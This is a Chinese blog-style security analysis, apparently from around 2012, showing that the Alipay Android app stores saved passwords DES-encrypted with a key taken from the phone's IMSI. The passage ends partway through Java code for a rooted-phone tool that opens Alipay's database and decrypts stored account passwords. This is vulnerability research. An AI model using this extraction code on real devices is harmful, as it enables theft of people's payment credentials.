手机支付宝密码存储机制分析

58 篇文章 1 订阅

作者:非虫

随着电子商务在国内的迅猛发展,网上购物也成为了时下流行的消费方式。就我个人来说,每年在淘宝上也会购物上百起。这足不出户的购物方式的确给我们的生活带来了不少实惠与方便,但同时,购物安全也成为了广大网购消费者担心的一个问题。每年在新闻中爆光的网银被盗、被骗的事件也屡见不鲜。

长期使用网络客户端软件的朋友都有一个习惯,为了避免每次使用时输入帐号名和密码,都习惯使用软件的自动保存密码功能来记住登录密码,这样下次直接点击登录按钮就可以登录软件了(有些软件直接跳过了登录确认的界面),这样,一个安全问题就出来了,软件为我们保存的密码是明文存储的吗?如果加密了,加密强度怎样?外部用户可以直接破解吗?试想一下,像支付宝这类敏感的网银软件,如果本地存储的密码被人直接破解,那后果是很难预料的!而随着我对支付宝程序的逆向分析,也证明了这个安全问题确实存在。在此申明:以下文章涉及的代码与分析内容仅供安卓系统安全学习交流,任何个人或组织不得使用文中提到的技术做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。

测试环境

一台安装有支付宝的安卓手机,并且能获得ROOT权限。

支付宝的版本为3.4.0.0229。

程序运行后使用了自动保存密码功能。为了测试更详细,我分别保存了支付宝与淘宝的帐号密码。

程序分析

医生给病人看病步骤讲究的是望闻问切,通过查看病人的面貌体态来对病情做初步判断,我们今天的分析也一改以往的埋头分析,采用类似的方法,先看看软件运行后的“症状”。打开支付宝软件,点击右上角的登录按钮,分别使用淘宝与支付宝帐号登录,勾选上自动保存密码,如图1所示:


图1

退出软件,然后重新登录,发现软件的确记住了保存的密码,而且密码框显示“星星”的位数与我实际的密码位数一样,看到这里我立马来劲了!这说明密码肯定是保存在本地的某个文件中,而且程序启动时读取密码,然后设置到密码框中。

下面,请出DDMS,进入支付宝数据目录“/data/data/com.eg.android.AlipayGphone/”,里面的文件结构如图2所示:


图2

在DateBases目录里有个RecentDB文件,初步判断它是使用的Sqlite3保存的数据库,将该文件导出到D盘根目录,进行命令行,使用AndroidSDK里面的Sqlite3.exe打开该数据库并分别执行“.tables”、“.schema RecentTable2”、“select * from RecentTable2;”命令,执行后结果如图3所示:


图3

这不看不知道,一看真吓一跳,原来帐号名与密码直接保存在了这个数据库中!只是密码被加过密,看后面的“==”还以为是Base64,可测试后发现不是,退出支付宝程序将它卸载并重新安装。重新运行软件一次后退出,将刚才导出的“RecentDB”文件导入,再次运行支付宝后发现软件登录框中帐号名与密码都记住了!接下来为手机换一张电话号码卡,重新进入程序发现密码框为空了。同样,在其它安卓手机上安装支付宝后导入RecentDB文件,密码框也为空,看来,支付宝对使用者手机与电话号码有所判断。

使用ApkTool将支付宝APK安装文件解包,打开“AndroidManifest.xml”文件,将“android:name”一栏的android:debuggable="false"改成android:debuggable="true",然后重新编译签名并安装,打开DDMS,在LogCat中新建一栏,设置“Filter Name”与“By Application Name”为“com.eg.android.AlipayGphone”,如图4所示:


图4

启动程序,这时就可以在DDMS中查看支付宝的Log输出了,运行程序后点击登录按钮进入到登录界面,在界面随意处点击几下,发现拦截到的消息如图5所示:


图5

由Log输出信息得知程序所在的Activity为“com.alipay.android.client.Login”,在反编译出的Smali文件夹中找到“Login.smali”文件并查看OnCreate()方法。代码太长,只帖关键部分:

.method public onCreate(Landroid/os/Bundle;)V

    .locals 6

    const/4 v5, 0x1

    const/4 v4, 0x0

    invoke-super {p0, p1},Lcom/alipay/android/client/RootActivity;->onCreate(Landroid/os/Bundle;)V

    invoke-static {p0},Lcom/alipay/android/appHall/h;->a(Landroid/app/Activity;)Z

    new-instance v0,Lcom/alipay/platform/a/b;

    ............   

        const-string v1, "logintype"

    invoke-virtual {v0, v1},Lcom/alipay/android/client/a/o;->a(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    const-string v1,"taobao"  #判断登录类型

    invoke-virtual {v0, v1},Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_3

    iput-boolean v5, p0, Lcom/alipay/android/client/Login;->k:Z

    iput-boolean v4, p0,Lcom/alipay/android/client/Login;->l:Z

    iget-object v0, p0,Lcom/alipay/android/client/Login;->K:Landroid/widget/Button;

    invoke-virtual {v0, v4},Landroid/widget/Button;->setSelected(Z)V

    iget-object v0, p0,Lcom/alipay/android/client/Login;->L:Landroid/widget/Button;

    invoke-virtual {v0, v5},Landroid/widget/Button;->setSelected(Z)V

    iget-object v0, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

    const v1, 0x7f0a0010

    invoke-virtual {v0, v1},Landroid/widget/AutoCompleteTextView;->setHint(I)V #设置输入框的提示

    :goto_0

    invoke-direct {p0},Lcom/alipay/android/client/Login;->d()V #☻关键方法

    iget-object v0, p0,Lcom/alipay/android/client/Login;->D:Landroid/widget/CheckBox;

    new-instance v1,Lcom/alipay/android/client/cx;

    invoke-direct {v1, p0},Lcom/alipay/android/client/cx;-><init>(Lcom/alipay/android/client/Login;)V

    invoke-virtual {v0, v1},Landroid/widget/CheckBox;->setOnClickListener(Landroid/view/View$OnClickListener;)V

    return-void

    :cond_3

    iput-boolean v4, p0,Lcom/alipay/android/client/Login;->k:Z

    iput-boolean v5, p0,Lcom/alipay/android/client/Login;->l:Z

    iget-object v0, p0,Lcom/alipay/android/client/Login;->K:Landroid/widget/Button;

    invoke-virtual {v0, v5},Landroid/widget/Button;->setSelected(Z)V

    iget-object v0, p0,Lcom/alipay/android/client/Login;->L:Landroid/widget/Button;

    invoke-virtual {v0, v4},Landroid/widget/Button;->setSelected(Z)V

    iget-object v0, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

    const v1, 0x7f0a0011

    invoke-virtual {v0, v1},Landroid/widget/AutoCompleteTextView;->setHint(I)V #设置输入框的提示

    goto :goto_0

.end method

在OnCreate()方法中,设置了控件的显示、提示及监听器,而后判断登录类型并设置“支付宝会员”或“淘宝会员”按钮的选择状态,在这期间调用了d()方法,该方法过后,帐号名与密码就被显示了出来,d()方法代码如下:

.method private d()V

    .locals 5

    const/16 v2, 0x8  #设置为View.GONE

    const/4 v4, 0x0  #设置不选中或View.VISIBLE

    iget-boolean v0, p0,Lcom/alipay/android/client/Login;->k:Z

    if-nez v0, :cond_5 #检查用户类型

    const-string v0,"alipay"

    iget-object v1, p0,Lcom/alipay/android/client/Login;->J:Landroid/widget/Button;

    invoke-virtual {v1, v4},Landroid/widget/Button;->setVisibility(I)V #设置为View.VISIBLE

    iget-object v1, p0,Lcom/alipay/android/client/Login;->H:Landroid/widget/TextView;

    invoke-virtual {v1, v4},Landroid/widget/TextView;->setVisibility(I)V #设置为View.VISIBLE

    iget-boolean v1, p0,Lcom/alipay/android/client/Login;->P:Z

    if-nez v1, :cond_3

    iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;

    invoke-virtual {v1, v2},Landroid/widget/RelativeLayout;->setVisibility(I)V #设置为View.GONE

    :goto_0

    iget-object v1, p0,Lcom/alipay/android/client/Login;->j:Lcom/alipay/android/client/a/l; #获取j对象

    #☻调用j.a(String)方法获得ho对象,传入的参数为代表用户类型的“alipay”或“taobao”☻

    invoke-virtual {v1, v0},Lcom/alipay/android/client/a/l;->a(Ljava/lang/String;)Lcom/alipay/android/client/ho;

    move-result-object v0

    if-nez v0, :cond_0 #☻检查有没有“alipay”类型登录的用户☻,没有下面就new个空的ho对象

    new-instance v0,Lcom/alipay/android/client/ho;  #new一个ho对象

    invoke-direct {v0},Lcom/alipay/android/client/ho;-><init>()V

    :cond_0

    iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

    const-string v2,""

    invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextView;->setText(Ljava/lang/CharSequence;)V

    #将用户名输入框清空

    iget-object v1, p0,Lcom/alipay/android/client/Login;->x:Landroid/widget/EditText;

    const-string v2,""

    #将密码输入框清空

    invoke-virtual {v1, v2},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V

    iget-object v1, p0,Lcom/alipay/android/client/Login;->D:Landroid/widget/CheckBox;

    invoke-virtual {v1, v4},Landroid/widget/CheckBox;->setChecked(Z)V #设置“记住登录密码”选择状态

    iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

    const/16 v2, 0x64

    invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextView;->setThreshold(I)V

    iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

    iget-object v2, v0,Lcom/alipay/android/client/ho;->a:Ljava/lang/String; # ho.a 为用户名

    # ☻将ho.a中的用户名设置到用户名输入框☻

    invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextView;->setText(Ljava/lang/CharSequence;)V

    iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

    const/4 v2, 0x0

    invoke-static {v1, v2},Lcom/alipay/android/client/a/o;->a(Landroid/widget/EditText;Landroid/text/method/PasswordTransformationMethod;)V

    const-string v1,""

    :try_start_0

    iget-object v2, v0,Lcom/alipay/android/client/ho;->b:Ljava/lang/String; #ho.b为加密过的密码

    const-string v3,""

    invoke-virtual {v2, v3},Ljava/lang/String;->equals(Ljava/lang/Object;)Z #☻判断密码是否为空☻

    move-result v2

    if-nez v2, :cond_8

    iget-object v0, v0,Lcom/alipay/android/client/ho;->b:Ljava/lang/String; #☻需要解密的密码☻

    sget-object v1,Lcom/alipay/android/client/d/b;->I:Ljava/lang/String;   #☻解密密钥☻

    #调用com.google.zxing.c.a.b.b(String)方法解密ho.b中加密过的密码

    invoke-static {v0, v1},Lcom/google/zxing/c/a/b;->b(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    if-eqz v0, :cond_1 #解密出的密码是否为空,为空就跳过设置密码框

    iget-object v1, p0,Lcom/alipay/android/client/Login;->x:Landroid/widget/EditText; #密码框

    invoke-virtual {v1, v0},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V #☻设置密码☻

    :cond_1

    :goto_1

    if-eqz v0, :cond_2

    iget-object v1, p0,Lcom/alipay/android/client/Login;->D:Landroid/widget/CheckBox;

    invoke-virtual {v0},Ljava/lang/String;->length()I

    move-result v0

    if-lez v0, :cond_9

    const/4 v0, 0x1

    :goto_2

    invoke-virtual {v1, v0},Landroid/widget/CheckBox;->setChecked(Z)V #取消“记住登录密码”选中状态

    :try_end_0

    .catchLjava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

    :cond_2

    :goto_3

    return-void  #返回

    :cond_3

    iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;

    invoke-virtual {v1, v4},Landroid/widget/RelativeLayout;->setVisibility(I)V #设置为View.VISIBLE

    iget-object v1, p0,Lcom/alipay/android/client/Login;->h:Landroid/graphics/Bitmap;

    if-eqz v1, :cond_4

    iget-object v1, p0,Lcom/alipay/android/client/Login;->h:Landroid/graphics/Bitmap;

    invoke-direct {p0, v1},Lcom/alipay/android/client/Login;->a(Landroid/graphics/Bitmap;)V

    :cond_4

    iget-object v1, p0,Lcom/alipay/android/client/Login;->e:Landroid/widget/EditText;

    const-string v2,""

    invoke-virtual {v1, v2},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V

    goto :goto_0

    :cond_5

    const-string v0,"taobao"  #☻等待查询"taobao" 类型的用户登录记录☻

    iget-object v1, p0,Lcom/alipay/android/client/Login;->J:Landroid/widget/Button;

    invoke-virtual {v1, v2},Landroid/widget/Button;->setVisibility(I)V

    iget-object v1, p0,Lcom/alipay/android/client/Login;->H:Landroid/widget/TextView;

    invoke-virtual {v1, v2},Landroid/widget/TextView;->setVisibility(I)V

    iget-boolean v1, p0,Lcom/alipay/android/client/Login;->M:Z

    if-nez v1, :cond_6

    iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;

    invoke-virtual {v1, v2},Landroid/widget/RelativeLayout;->setVisibility(I)V

    goto/16 :goto_0

    :cond_6

    iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;

    invoke-virtual {v1, v4},Landroid/widget/RelativeLayout;->setVisibility(I)V #设置为View.VISIBLE

    iget-object v1, p0,Lcom/alipay/android/client/Login;->g:Landroid/graphics/Bitmap;

    if-eqz v1, :cond_7

    iget-object v1, p0,Lcom/alipay/android/client/Login;->g:Landroid/graphics/Bitmap;

    invoke-direct {p0, v1},Lcom/alipay/android/client/Login;->a(Landroid/graphics/Bitmap;)V

    :cond_7

    iget-object v1, p0,Lcom/alipay/android/client/Login;->e:Landroid/widget/EditText;

    const-string v2,""

    invoke-virtual {v1, v2},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V #清空

    goto/16 :goto_0

    :cond_8 #跳到这里说明密码为空,则直接设置密码框内容为空

    :try_start_1

    iget-object v2, p0,Lcom/alipay/android/client/Login;->x:Landroid/widget/EditText; #密码框

    iget-object v0, v0,Lcom/alipay/android/client/ho;->b:Ljava/lang/String; #密码

    invoke-virtual {v2, v0},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V#设置密码框

    :try_end_1

    .catchLjava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0

    move-object v0, v1

    goto :goto_1

    :cond_9

    move v0, v4

    goto :goto_2

    :catch_0

    move-exception v0

    invoke-virtual {v0},Ljava/lang/Exception;->printStackTrace()V

    goto :goto_3

.end method

在整个Login类中,有三个变量是需要注意的,它们分别是“EditText e”、“AutoCompleteTextView v”、“EditText x”。因为只有它们才可能是用户名或密码输入框,经过分析发现“AutoCompleteTextView v”为用户名输入框,而“EditText x”为密码输入框。在d()方法中,代码首先设置用户名输入框内容为ho.a,如果ho.b不为空就先其解密,然后设置到密码框,这样,用户名与密码就设置好了,由于我们的主题是分析密码存储机制,所以,其它代码就不着重分析了。

为了验证上面的分析,这里使用一个小技巧来查看上面ho.a与ho.b以及解密后的值,很多人可能立即想到了使用Toast弹出信息提示,不过个人觉得使用LogCat输出显示更方便,一方面是加入代码量少,使用的寄存器少,另一方面是输出的结果可以随时查看。在d()方法中加入两处Log.v的代码,修改后的代码如图6所示:


图6

在插入代码时需要注意不要随意使用寄存器,而破坏了原程序的状态。接下来保存“Login.Smali”文件后对整个APK进行重新编译与签名,再次安装后导入上面保存的RecentDB文件,启动程序进入登录界面,会发现LogCat会显示如图7所示的信息:


图7

这个时候神奇的发现,被加密的密码、密钥以及解密后的密码都输出到了LogCat中!ho对象何时获取的密码信息?而密钥又是如何生成的?这重重的疑问更增加了我的好奇心!我们这个时候可以采取顺藤摸瓜的方式来追根溯源了。在d()方法中有如下一段代码:

iget-object v1, p0,Lcom/alipay/android/client/Login;->j:Lcom/alipay/android/client/a/l;

invoke-virtual {v1, v0},Lcom/alipay/android/client/a/l;->a(Ljava/lang/String;)Lcom/alipay/android/client/ho;

move-result-object v0

if-nez v0, :cond_0

new-instance v0, Lcom/alipay/android/client/ho;  #如果j.a()返回为0,就new一个ho对象

ho对象是通过this.j.a()方法生成的,j是一个l对象,代码位于“com\alipay\android\client\a\l.smali”文件中,找到相应的l.a(String)方法,代码如下:

.method public final a(Ljava/lang/String;)Lcom/alipay/android/client/ho;

    .locals 12

    const/4 v10, 0x3

    const/4 v7, 0x2

    const/4 v8, 0x1

    const/4 v9, 0x0

    const/4 v3, 0x0

    if-nez p1, :cond_0 #p1为String类型的参数,不为空就跳走,为空下面就查询所有用户登录的记录

    iget-object v0, p0,Lcom/alipay/android/client/a/l;->a:Landroid/database/sqlite/SQLiteDatabase;

    const-string v1,"RecentTable2" #需要查询的表

    const/4 v2, 0x6

    new-array v2, v2,[Ljava/lang/String;

    const-string v4,"ID" #ID

    aput-object v4, v2, v9

    const-string v4,"NAME" #用户名

    aput-object v4, v2, v8

    const-string v4,"PASSWORD" #加密过的密码

    aput-object v4, v2, v7

    const-string v4,"TYPE" #用户类型

    aput-object v4, v2, v10

    const/4 v4, 0x4

    const-string v5,"LOGINTIME" #最后登录的时间

    aput-object v5, v2, v4

    const/4 v4, 0x5

    const-string v5, "USERID"

    aput-object v5, v2, v4

    const-string v7,"LOGINTIME desc" #构造SQL语句

    move-object v4, v3

    move-object v5, v3

    move-object v6, v3

    invoke-virtual/range {v0.. v7}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;

    move-result-object v0 #☻执行查询并返回结果☻

    :goto_0

    invoke-interface {v0},Landroid/database/Cursor;->moveToFirst()Z #转到第一条记录

    move-result v1

    if-eqz v1, :cond_2 #如果记录为空就跳走关闭数据库并返回

    new-instance v1,Lcom/alipay/android/client/ho; #☻new一个ho对象☻

    invoke-direct {v1},Lcom/alipay/android/client/ho;-><init>()V

    const-string v2,"NAME"

    invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

    move-result v2

    invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String; #☻查询结果的用户名

    move-result-object v2

    iput-object v2, v1,Lcom/alipay/android/client/ho;->a:Ljava/lang/String; #☻用户名赋值给ho.a☻

    const-string v2,"PASSWORD"

    invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

    move-result v2

    invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String;#☻查询结果的密码

    move-result-object v2

    iput-object v2, v1,Lcom/alipay/android/client/ho;->b:Ljava/lang/String;#☻密码赋值给ho.b☻

    if-nez p1, :cond_1

    const-string v2,"TYPE"

    invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

    move-result v2

    invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String;#查询结果的用户类型

    move-result-object v2

    iput-object v2, v1,Lcom/alipay/android/client/ho;->c:Ljava/lang/String;☻用户类型赋值给ho.c☻

    :goto_1

    const-string v2,"USERID"

    invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

    move-result v2

    invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String;

    move-result-object v2

    iput-object v2, v1,Lcom/alipay/android/client/ho;->e:Ljava/lang/String;☻用户ID赋值给ho.e☻

    :goto_2

    invoke-interface {v0},Landroid/database/Cursor;->close()V #关闭Cursor

    return-object v1 #返回ho对象

    :cond_0 #☻跳到这里查询特定“TYPE”的用户登录记录☻

    iget-object v4, p0,Lcom/alipay/android/client/a/l;->a:Landroid/database/sqlite/SQLiteDatabase;

    const-string v5,"RecentTable2" #要查询的数据表

    const/4 v0, 0x5

    new-array v6, v0,[Ljava/lang/String;

    const-string v0,"ID"

    aput-object v0, v6, v9

    const-string v0,"NAME"

    aput-object v0, v6, v8

    const-string v0,"PASSWORD"

    aput-object v0, v6, v7

    const-string v0,"LOGINTIME"

    aput-object v0, v6, v10

    const/4 v0, 0x4

    const-string v1,"USERID"

    aput-object v1, v6, v0

    const-string v7,"TYPE = ?"

    new-array v8, v8,[Ljava/lang/String;

    aput-object p1, v8, v9

        const-string v11, "LOGINTIMEdesc"

#上面在构造SQL语句,整个语句类似于:

#select ID, NAME, PASSWORD, LOGINTIME, USERID from RecentTable2

# where TYPE="alipay" order by LOGINTIME desc;

    move-object v9, v3

    move-object v10, v3

    invoke-virtual/range {v4.. v11},Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;#执行SQL查询语句

    move-result-object v0

    goto :goto_0   #跳转去赋值

    :cond_1

    iput-object p1, v1,Lcom/alipay/android/client/ho;->c:Ljava/lang/String; #保存用户类型到ho.c

    goto :goto_1

    :cond_2

    move-object v1, v3

    goto :goto_2

.end method

这段代码我注释的很清楚,而且功能也很简单,就是查询SQL语句,然后对ho对象的相应字段赋值。

用户名与加密密码的获取弄清楚后,来看看密钥是如何生成的。从上面密码解密部分的分析得知它是通过“com.alipay.android.client.d.b”对象的I成员传递进来的,而它是在哪里被赋的值呢?经过分析,发现是在Login类的“b(com.alipay.platform.core.b)”方法中调用了“com.alipay.android.client.a.m.b(Context)”方法,而后者又调用了“com.alipay.android.client.a.o”类的“a(Context)”方法,“a(Context)”方法代码如下:

.method public static a(Landroid/content/Context;)Ljava/lang/String;

    .locals 3

  invoke-static {p0},Lcom/alipay/android/client/a/j;->a(Landroid/content/Context;)Lcom/alipay/android/client/a/j;

    move-result-object v0

    invoke-virtual {v0},Lcom/alipay/android/client/a/j;->e()Ljava/lang/String;

    move-result-object v0

    const/4 v1, 0x0

    const/16 v2, 0x8

    invoke-virtual {v0, v1,v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;

    move-result-object v0

    return-object v0

.end method

转换成JAVA代码只只执行如下一行:

return com.alipay.android.client.a.j.a(Context).e().substring(0, 8);

取e()方法返回字符串的前8位,“e()”方法代码如下:

.method public final e()Ljava/lang/String;

    .locals 2

    iget-object v0, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String; #j.b是否为空字符串

    if-nez v0, :cond_0

    iget-object v0, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String;#j.a是否为空字符串

    if-nez v0, :cond_0

    const-string v0,"000000000000000" #调用b()方法构造一个全0字符串

    invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;->b(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    :goto_0

    const-string v1,"[[a-z][A-Z][0-9]]{15}\\|[[a-z][A-Z][0-9]]{15}"

    invoke-virtual {v0, v1},Ljava/lang/String;->matches(Ljava/lang/String;)Z # #字符串是否适合要求

    move-result v1

    if-eqz v1, :cond_3 #字符串构造失败跳走

    :goto_1

    return-object v0 #返回

    :cond_0

    iget-object v0, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String; #取j.b字符串

    if-nez v0, :cond_1 #不为空就跳走

    new-instance v0,Ljava/lang/StringBuilder;

    invoke-direct {v0},Ljava/lang/StringBuilder;-><init>()V

    iget-object v1, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String; #取j.a字符串

    invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v0

    const-string v1,"|" #添加‘|’

    invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v0

    const-string v1,"000000000000000" #添加全0

    invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v0

    invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String; #转换为字符串

    move-result-object v0

    goto :goto_0 #返回

    :cond_1

    iget-object v0, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String; #取j.a字符串

    if-nez v0, :cond_2

    iget-object v0, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String; #取j.b字符串

    invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;->b(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    goto :goto_0

    :cond_2

    new-instance v0, Ljava/lang/StringBuilder;

    invoke-direct {v0},Ljava/lang/StringBuilder;-><init>()V

    iget-object v1, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String;

    invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v0

    const-string v1,"|"

    invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v0

    iget-object v1, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String;

    invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v0

    invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v0

    goto :goto_0

    :cond_3

    const-string v0,"000000000000000"

    invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;->b(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    goto :goto_1

.end method

这段代码通过判断j.a与j.b两个字符串并根据情况返回相应的字符串,而j.a与j.b是在j对象的构造函数中赋值的,j.b由getDeviceId()来设置,j.a由getSubscriberId()来设置,具体的代码由于篇幅我就不贴了,由于我手机获取这两个值都不为空,所以,这里返回的字符串为我的SubscriberId,经过SubString(0, 8)后最后得到的密钥为我手机SubscriberId的前8位。到这里,加密密码读取与密钥计算都明白了,还剩下加密与解密方法没有分析。

密码的加密与解密分别调用了“com.google.zxing.c.a.b.a(String, String)”与“com.google.zxing.c.a.b.b(String,String)”方法,两个参数中第一个为需要加密或解密的字符串,第二个为密钥,最终两个方法都调用了“com.google.zxing.c.a.b.a(int , String, String)”方法,转换成JAVA代码如下:

  private static String a(intparamInt, String paramString1, String paramString2)

  {

    try {

      byte[] arrayOfByte =paramString2.getBytes();

      SecretKeySpeclocalSecretKeySpec = new SecretKeySpec(arrayOfByte, "DES"); //初始化SecretKey

      Cipher localCipher =Cipher.getInstance("DES");

     localCipher.init(paramInt, localSecretKeySpec); #paramInt为1就加密,为2就解密

      byte[] localObject;

      if (paramInt == 2) {

        localObject =a.a(paramString1); //调用a.a(String)进行一轮运算,返回处理后的字符数组

        localObject =localCipher.doFinal(localObject);   //进行DES解密

        return newString(localObject );

      } else {

        localObject =paramString1.getBytes("UTF-8"); //将需要加密的字符串转成字符数组

        localObject =localCipher.doFinal(localObject);   //进行DES加密

        returna.a(localObject); //调用a.a(byte[])进行一轮运算,返回最终处理后的字符串

      }

    }

    catch (Exception localException)

    {

       localException.printStackTrace();

        return null;

    }

  }

代码最终进行了DES加密与解密操作,只是其中多了一道“a.a(byte[])”与“a.a(String)"的加密与解密工序,

有过二维码扫描程序编写经验的朋友一定会发现“com.google.zxing”包是一个开源的一维、二维码扫描项目,到GoogleCode上下载该项目的源码,可以发现,上面的代码是经过支付宝修改过的“ReedSolomonEncoder.java”文件,源码位于“zxing-2.0\core\src\com\google\zxing\common\reedsolomon”目录,但没有这个“a.a(byte[])”与“a.a(String)"方法,显示是支付宝手动添加的,而修改过的b类(未混淆则为ReedSolomonEncoder类)的a方法是调用了“com.alipay.android.c.a.a方法”进行字符编码运算,代码位于“com.alipay.android.c”目录中,这个c类提供了四个方法,其中两个为字符处理的判断方法,另外两个分别是加密与解密的代码,限于本人算法能力有限,无法对算法代码进行分析讲解。大家可以参看相关文件来了解它的具体实现,到这里支付宝登录密码的加密与解密也算搞清楚了。

代码编写

仔细的观察“com.alipay.android.c.a”类,会发现它是一个功能独立的算法类,与支付宝程序的其它逻辑部分无任何耦合,因此,代码编写时我使用了一个取巧的方法,将“a.smali”文件转换成dex文件,然后使用dex2jar转换成jar文件拿到安卓项目中调用,程序的代码如下:

public void onCreate(BundlesavedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.main);

        setTitle("支付宝本地密码查看测试程序");

        tv = (TextView)findViewById(R.id.text_passwords);

        if (!RootUtils.hasRootPermission()){

            Toast.makeText(AlipaypwdActivity.this"程序只能在ROOT过的手机上运行",

                    Toast.LENGTH_LONG).show();

            AlipaypwdActivity.this.finish();

        }

        if (!RootUtils.hasInstalledApp(AlipaypwdActivity.this"com.eg.android.AlipayGphone")) {

            Toast.makeText(AlipaypwdActivity.this"检测到手机上未安装的支付宝软件",

                    Toast.LENGTH_LONG).show();

            return;

        }

        //改权限以便下面进行数据库访问

        RootUtils.RootCommand("chmod 666 /data/data/com.eg.android.AlipayGphone/databases/RecentDB");

        try {

            Context context =createPackageContext("com.eg.android.AlipayGphone",

                    Context.CONTEXT_IGNORE_SECURITY);

            SQLiteDatabase db=context.openOrCreateDatabase("RecentDB", 0, null);

            Cursor cursor = db.rawQuery("select NAME,PASSWORD, TYPE from RecentTable2"null);

            TelephonyManager tm =(TelephonyManager)getSystemService("phone");

            String str =tm.getSubscriberId();    //支付宝用这个ID的前8位做加密密钥   

            Log.v(TAG, str);

            String subStr = str.substring(0,8);    //只取前8

            byte[] keys =subStr.getBytes();

            StringBuffer sb = new StringBuffer();

            sb.append("\n以下为本地保存的支付宝密码解密:\n");

            while (cursor.moveToNext())

            {

                sb.append("帐号类型:" + cursor.getString(2) + '\n');

                sb.append("用  户  名:" + cursor.getString(0) + '\n');

                sb.append("加密密码:" + cursor.getString(1) + '\n');

                sb.append("解密密码:" +decryptPassword(cursor.getString(1), keys) + '\n');                sb.append("----------------------------------------------------\n");

            }

            sb.append("\n\n以下为测试支付宝密码加密:\n");

            sb.append("原  密  码:" + "12345678" + '\n');

            sb.append("加密密码:" + encryptPassword("12345678", keys) + '\n');

            sb.append("----------------------------------------------------\n");

            sb.append("原  密  码:" + "87654321" + '\n');

            sb.append("加密密码:" + encryptPassword("87654321", keys) + '\n');

            sb.append("----------------------------------------------------\n");

            tv.setText(sb.toString());

            db.close();

        } catch (NameNotFoundException e1){

            e1.printStackTrace();

        }       

}

加密与解密部分代码如下:

    private StringdecryptPassword(String encryptedPass, byte[] keys) {

        try {

            SecretKeySpec localSecretKeySpec = new SecretKeySpec(keys, "DES");

            Cipher localCipher = Cipher.getInstance("DES");

            localCipher.init(Cipher.DECRYPT_MODE, localSecretKeySpec);

            byte[] bytes =com.alipay.android.c.a.a(encryptedPass);//调用支付宝的解密接口对密码进行解密

            bytes = localCipher.doFinal(bytes);//DES解密

            String password = new String(bytes);

            Log.v(TAG, password);

